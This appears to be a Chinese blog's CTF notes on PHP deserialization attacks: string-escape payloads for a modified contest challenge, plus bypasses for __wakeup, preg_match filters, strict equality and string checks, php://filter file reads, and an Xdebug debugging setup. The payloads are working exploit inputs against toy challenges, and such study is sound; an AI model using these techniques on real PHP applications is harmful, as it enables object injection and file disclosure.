分类 Web 下的文章

什么是字符串逃逸

当开发者把用户输入的敏感字符进行过滤/替换,最后再进行反序列化,就有可能出现字符串逃逸,也即反序列化表示的字符串长度和实际上反序列化的长度不一样,导致字符串增多/减少。如下面两种情况。
2024-07-10T09:34:34.png

处理后字符串变短

这样会导致字符串后面的反序列化语句成为这个字符串的一部分,只要想办法让它下一个可控的字符串对象的前面被覆盖掉,然后在下一个字符串写有效的反序列化语句就行,由于从左往右反序列化,所以我们只需要

处理后字符串变长

这会导致该字符串从尾部“吐出来”字符,只需要让吐出来的字符是有效的反序列化语句即可,最后可以使用}来终止掉反序列化,来避免后面可能存在的不可控反序列化,但是一定要满足前面的object个数,可重复覆盖,但是如果不满足个数,可能会导致反序列化异常(有时候必须要这样来绕过__wakeup,根据情况来处理即可)。

例题

安恒月赛Web(有改动)

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        if($this->c == "flag.php")
        {
            echo "flag{114514}";
        }
        // echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

分析代码

write()
"\0*\0"=>"\\0\\0\\0"

read()
"\\0\\0\\0"=>"\0*\0"

值得注意的是'0'括起来的\0就是\0文本而不会转义为chr(0)。
所以如果我们输入"\0*\0\\0\\0\\0",经过read(write())后,就会变成"\0*\0\0*\0",在反序列化的时候,这个\0开始的文本就是结尾,不会再看后面的文本了。也相当于一个这个文本组合,减少了9个字符,也就属于“减少”的逃逸了。
接下来就是一个简单的pop了。
我们先生成一个

<?php
class B{
    public $b;
    public function __construct()
    {
        $this->b = new C;
    }
}

class C{
    public $c;
    public function __construct()
    {
        $this->c = 'flag.php';
    }
}

echo urlencode(serialize(new B));

得到
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

我们先按
a=O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
b=1212121
来走一遍他自己的read write,然后拿read的结果
O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
这个对象将会创建A类,然后账号密码分别设置,我们需要想办法让它创建B类。

我们先尝试给a添加上,然后修改一下本地的代码,让它输出
2024-07-10T10:45:56.png
发送我们准备的payload

?a=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D%00*%00%5C0%5C0%5C0&b=111111111111111111

我专门让b足够长,大于10,这样会让它前面的长度保持在10~99,方便我们写其他的东西。
我们看一下输出
2024-07-10T10:48:48.png
我们试试

?a=\0\0\0&b=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D

注意划线部分
2024-07-10T11:18:20.png
实际长度是3,但是却认为是6,这样就是“缩短”的绕过
我们只需要让它覆盖到如下图所示的23字符,就可以在password的字面量值中修改东西了(注意看password的文本长度是10~99还是100+,这样要调整覆盖长度,这里是两位数所以是23),但是一个\0\0\0只能制造3个空间,我们要23个,可以多制造一个,24个,覆盖掉password文本的第一个字符,但是我们这时候就需要使用24/3=8组\0\0\0来达到目的了。
2024-07-10T11:19:20.png
我们使用下面的payload(注意:需要url编码)

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}

2024-07-10T11:25:29.png
这样我们就成功拿到了flag
2024-07-10T11:26:42.png

总结:在做字符串缩短题目的时候,如果是单个字符缩短最好,这样可以直接控制个数,如果是多个字符一次性缩短(比如说这个题,一组文本缩短3个),我们就需要适当增加缩短的个数,比如说这个题要23个,但是我们3个一组,我们就扩展到24,并且把多余的那个给占用掉,最后再把多余的给舍弃(通过}),就可以了。

eval

  1. eval("")传入的东西将会被认作php代码来执行,结尾必须有分号否则报错,如果有多行只会执行第一行
  2. eval("#".$payload);这样的payload,可以通过 ?><?php 绕过,由于第一条,所以不能用类似于nxxxxx来绕过。

__wakeup

如果 __wakeup函数中有着你不想让它触发的代码,且php版本在 PHP5 < 5.6.25 或 PHP7 < 7.0.10 就可以通过unserialize中传入的参数个数和实际的个数不匹配来绕过__wakeup函数的执行。

__destruct

这个函数会在php回收对象的时候调用,有几种情况

  1. PHP 代码执行完毕
  2. 直接new A();,对象直接会被销毁(没有变量存)。
  3. $a = new A(); $a = 114514; 覆盖掉new的类也会被销毁。
  4. unset($a); 手动删除对象
  5. 反序列化错误,比如
<?php
highlight_file(__FILE__);
class foo {
    public function __destruct()
    {
        echo "flag{114514}";
    }
}
$a = unserialize($_GET['input']);
throw new Exception('st0p');

由于有Exception,类不会被在执行完毕的时候被销毁,所以第一条直接失效了。
我们正常序列化这个类,结果是O:3:"foo":0:{}
我们稍微改造一下这个,把他弄成错误的,比如O:3:"foo":0:{
由于反序列化从左到右,所以他已经把foo类创建了,但是报错会让它被销毁,这样就利用成功。

当然,也可以使用第三条来利用:
2024-07-10T08:22:34.png

file_put_contents / file_get_contents

这个函数可以传入PHP伪协议,详情请见另一篇文章,下面给出一些快速使用例子。
b64读:php://filter/read=convert.base64-encode/resource=flag.php
b64写:php://filter/write=convert.base64-encode/resource=flag.php

  • b64写可以绕死亡之exit();

preg_match

preg_match('/^O:d+/', $s) 的绕过

这个match会防止你传入一个反序列化的对象,如下题:

<?php
class A
{
    public function __wakeup()
    {
        echo "flag{114514}";
    }
}
$s = $_get['ans'];
if(!preg_match('/^O:\d+/', $s))
{
    echo "unserializing...</br>";
    unserialize($s);
}

这时,我们如果直接传O:1:"A":0:{}这样的对象,会被直接正则匹配从而失败。
但是我们如果传a:1:{i:0;O:1:"A":0:{}}就可以绕过,a是一个array,有一个元素,其中第0个元素就是我们的这个对象,这样对于array的unserialize,里面的所有对象都会被unserialize,这样我们也达到了目的。生成方法:echo serialize(array(new A));
当然,对于低版本的php,我们直接传入O:+1:"A":0:{},(注意+要被urlencode)也可以绕过正则匹配。而array法绕过对于较高版本php可行。

严格等于(===)的绕过

地址相同的反序列化

如题

<?php
class A{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = 'aaa';
    }

    public function __destruct()
    {
        if($this->a === $this->b && $this->b === 'aaa')
        {
            echo "flag{114514}";
        }
        else {
            die('b must be aaa!!!');
        }
    }
}

if(isset($_REQUEST['input']))
{
    if(preg_match('/aaa/', $_REQUEST['input']))
    {
        die('no!!');
    }
    unserialize($_REQUEST['input']);
}
else {
    highlight_file(__FILE__);
}

分析一下代码,$b必须是aaa,但是我序列化的时候不能把他直接设置为aaa,所以:
我们采用php的引用法,把b设置为对的引用就行了。

<?php
class A{
    public $a;
    public $b;
    public function __construct()
    {
        $this->b = &$this->a;
    }
}
echo urlencode(@serialize(new A));

这样在__wakeup的时候,$a被设置为了aaa,但是b是a的引用,所以b也自动变成了aaa,就可以绕过

字符串检测绕过

hex绕过

手动更改序列化中的s(字符串)为S(需要转义的字符串),然后修改后面需要绕过的字符串即可。
值得注意的是,\必须被URLencode才能传上去。
2024-07-10T09:25:22.png

起因

由于输出调试法不灵活,而且不方便动态修改东西,所以我打算使用phpstudy_pro的方式进行本地部署php,然后本地搭建调试环境。
phpstudy 下载: https://www.xp.cn/download.html
vscode 下载: https://code.visualstudio.com/

phpstudy的配置

下载后打开,我们这里选择是Apache2.4.39+php7.3.4nts,Xdebug是phpstudy自动给你配置的
2024-07-08T16:43:33.png

为了配置XDebug,我们按照如下图配置你当前使用的php版本
2024-07-08T16:44:57.png
然后在设置界面,我们还需完善php.ini,使用编辑器打开php.ini,修改Xdebug段为下面的路径,注意绝对路径要替换成你的。

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.trace_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.profiler
xdebug.remote_enable=On
xdebug.remote_autostart = On 
xdebug.remote_host=localhost
xdebug.remote_port=9001
xdebug.remote_handler=dbgp

然后回到主页,手动重启Apache,这样phpstudy这边的就算是配置好了。
2024-07-08T16:47:17.png

vscode 的配置

我们需要3个插件
2024-07-08T16:47:37.png
2024-07-08T16:47:53.png
2024-07-08T16:48:20.png
然后,在vscode的设置里面,转到settings.json,手动配置,加上

// PHP
"php.debug.executablePath": "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php.exe",
"open-php-html-js-in-browser.documentRootFolder": "D:/phpstudy_pro/WWW",
"php.validate.executablePath": "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php.exe",
"open-php-html-js-in-browser.selectedBrowser": "Chrome",

注意,phpstudy的路径应替换成你的路径,WWW路径是网站的根目录。

最后,使用vscode打开网站根目录
2024-07-08T16:50:03.png

打开一个php文件,在运行和调试的地方创建新的launch.json
把这个json里面的端口改成你phpstudy中配置的xdebug调试端口。
2024-07-08T16:51:25.png

最后,按下F5或者选择Listen for Xdebug即可开始监听,下断点后,浏览器访问即可断下。